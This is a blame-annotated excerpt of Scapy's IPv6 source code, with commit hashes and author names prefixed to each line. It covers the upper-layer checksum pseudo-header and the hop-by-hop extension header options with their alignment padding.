625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Test it and save result
6275e8857410015a93f6371459b2f870432ded39b9fgpotter                    s1 = raw(selfup)
6285e8857410015a93f6371459b2f870432ded39b9fgpotter                    s2 = raw(otherup)
629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    l = min(len(s1), len(s2))
630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    res = s1[:l] == s2[:l]
631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # recall saved values
633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = old_otherup_opts
634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = old_otherup_cksum
635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = old_otherup_dataofs
636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = old_selfup_opts
637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = old_selfup_cksum
638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = old_selfup_dataofs
639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return res
641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6425e8857410015a93f6371459b2f870432ded39b9fgpotter                s1 = raw(selfup)
6435e8857410015a93f6371459b2f870432ded39b9fgpotter                s2 = raw(otherup)
644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = min(len(s1), len(s2))
645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s1[:l] == s2[:l]
646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return False
6480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return Packet.mysummary(self)
651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                 Upper Layer Checksum computation                      ###
656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pseudo IPv6 Header"
661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ IP6Field("src", "::"),
662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst", "::"),
66377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("uplen", None),
664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("zero", 0, 24),
6650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteField("nh", 0) ]
666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef in6_chksum(nh, u, p):
668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
669caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter    As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
671caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter    Performs IPv6 Upper Layer checksum computation. Provided parameters are:
6720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'nh' : value of upper layer protocol
6730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'u'  : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
6740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             provided with all under layers (IPv6 and all extension headers,
675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             for example)
676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - 'p'  : the payload of the upper layer provided as a string
677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Functions operate by filling a pseudo header class instance (PseudoIPv6)
679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    with
680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - Next Header value
681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the address of _final_ destination (if some Routing Header with non
682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    segleft field is present in underlayer classes, last address is used.)
6830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - the address of _real_ source (basically the source address of an
684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    IPv6 class instance available in the underlayer or the source address
685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    in HAO option if some Destination Option header found in underlayer
686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    includes this option).
687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the length is the length of provided payload string ('p')
688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6 = PseudoIPv6()
691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.nh = nh
692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    rthdr = 0
693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    hahdr = 0
694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    final_dest_addr_found = 0
695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while u != None and not isinstance(u, IPv6):
69677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(u, IPv6ExtHdrRouting) and
69777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            u.segleft != 0 and len(u.addresses) != 0 and
698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found == 0):
69977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            rthdr = u.addresses[-1]
700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found = 1
7018d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux        elif (isinstance(u, IPv6ExtHdrSegmentRouting) and
7028d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            u.segleft != 0 and len(u.addresses) != 0 and
7038d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            final_dest_addr_found == 0):
7048d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            rthdr = u.addresses[0]
7058d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            final_dest_addr_found = 1
70677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             isinstance(u.options[0], HAO)):
708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             hahdr  = u.options[0].hoa
70977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        u = u.underlayer
7100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if u is None:
71177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        warning("No IPv6 underlayer to compute checksum. Leaving null.")
71277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
7130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if hahdr:
71477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.src = hahdr
715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ph6.src = u.src
717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if rthdr:
71877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = rthdr
719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
72077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = u.dst
721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.uplen = len(p)
7225e8857410015a93f6371459b2f870432ded39b9fgpotter    ph6s = raw(ph6)
723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return checksum(ph6s+p)
724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                         Extension Headers                             ###
729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Inherited by all extension header classes
734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6ExtHdr(_IPv6GuessPayload, Packet):
735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Abstract IPV6 Option Header'
736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    aliastypes = [IPv6, IPerror6] # TODO ...
737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#################### IPv6 options for Extension Headers #####################
740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhopts = { 0x00: "Pad1",
742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x01: "PadN",
743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x04: "Tunnel Encapsulation Limit",
744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x05: "Router Alert",
745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x06: "Quick-Start",
746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc2: "Jumbo Payload",
747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc9: "Home Address Option" }
748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _OTypeField(ByteEnumField):
7500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """
751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Modified BytEnumField that displays information regarding the IPv6 option
752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    based on its option type value (What should be done by nodes that process
753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    the option if they do not understand it ...)
754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pol = {0x00: "00: skip",
758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x40: "01: discard",
759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x80: "10: discard+ICMP",
760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0xC0: "11: discard+ICMP not mcast"}
7610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    enroutechange = {0x00: "0: Don't change en-route",
763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 0x20: "1: May change en-route" }
764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = self.i2s.get(x, repr(x))
767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        polstr = self.pol[(x & 0xC0)]
768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        enroutechangestr = self.enroutechange[(x & 0x20)]
769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s [%s, %s]" % (s, polstr, enroutechangestr)
770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 Unknown Option"
7730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
7760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                               length_from = lambda pkt: pkt.optlen) ]
777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # By default, no alignment requirement
778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
7790d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        As specified in section 4.2 of RFC 2460, every options has
7800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        an alignment requirement ususally expressed xn+y, meaning
7810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        the Option Type must appear at an integer multiple of x octest
782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from the start of the header, plus y octet.
7830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        That function is provided the current position from the
785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        start of the header and returns required padding length.
786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Pad1(Packet): # IPv6 Hop-By-Hop Option
790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pad1"
791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ]
792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PadN(Packet): # IPv6 Hop-By-Hop Option
7960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "PadN"
797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                               length_from = lambda pkt: pkt.optlen)]
801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Router Alert"
806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
807f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ByteField("optlen", 2),
808f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ShortEnumField("value", None,
809f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                  { 0: "Datagram contains a MLD message",
810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                    1: "Datagram contains RSVP message",
811f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                    2: "Datagram contains an Active Network message",
812f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   68: "NSIS NATFW NSLP",
813f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   69: "MPLS OAM",
814f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                65535: "Reserved" })]
815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # TODO : Check IANA has not defined new values for value field of RouterAlertOption
816f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : Now that we have that option, we should do something in MLD class that need it
817f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : IANA has defined ranges of values which can't be easily represented here.
818f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    #        iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 2n+0
820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 2 ; y = 0
82163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter        delta = x*((curpos - y + x - 1)//x) + y - curpos
822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Jumbo(Packet): # IPv6 Hop-By-Hop Option
8250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "Jumbo Payload"
826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 4),
828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IntField("jumboplen", None) ]
829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 4n+2
830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 4 ; y = 2
83163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter        delta = x*((curpos - y + x - 1)//x) + y - curpos
832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HAO(Packet): # IPv6 Destination Options Header Option
835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Home Address Option"
836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 16),
838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IP6Field("hoa", "::") ]
839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 8n+6
840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 8 ; y = 6
84163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter        delta = x*((curpos - y + x - 1)//x) + y - curpos
842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhoptcls = { 0x00: Pad1,
845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x01: PadN,
846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x05: RouterAlert,
847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC2: Jumbo,
848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC9: HAO }
849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Hop-by-Hop Extension Header ########################
852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _HopByHopOptionsField(PacketListField):
854b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
8580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(self.i2m(pkt, i))
861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return l
862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
864d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(i, list):
865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
8740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
8761186356a1d73fd59b700d8af05e789d0e8899de6gpotter        ret = b""
877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = s
878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x,ret = s[:l],s[l:]
880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
885b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            o = orb(x[0]) # Option type
886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
887d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if o in _hbhoptcls:
888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = _hbhoptcls[o]
889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
8947b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
8981186356a1d73fd59b700d8af05e789d0e8899de6gpotter                x = b""
899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x+ret,opt
900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
9070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
9091186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"".join(map(str, x))
910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
9121186356a1d73fd59b700d8af05e789d0e8899de6gpotter        s = b""
913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
9175e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(Pad1())
918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
9195e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(PadN(optdata=b'\x00'*(d-2)))
9205e8857410015a93f6371459b2f870432ded39b9fgpotter            pstr = raw(p)
921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
9230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
9315e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(Pad1())
932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
9335e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(PadN(optdata=b'\x00'*(d-2)))
934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _PhantomAutoPadField(ByteField):
941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
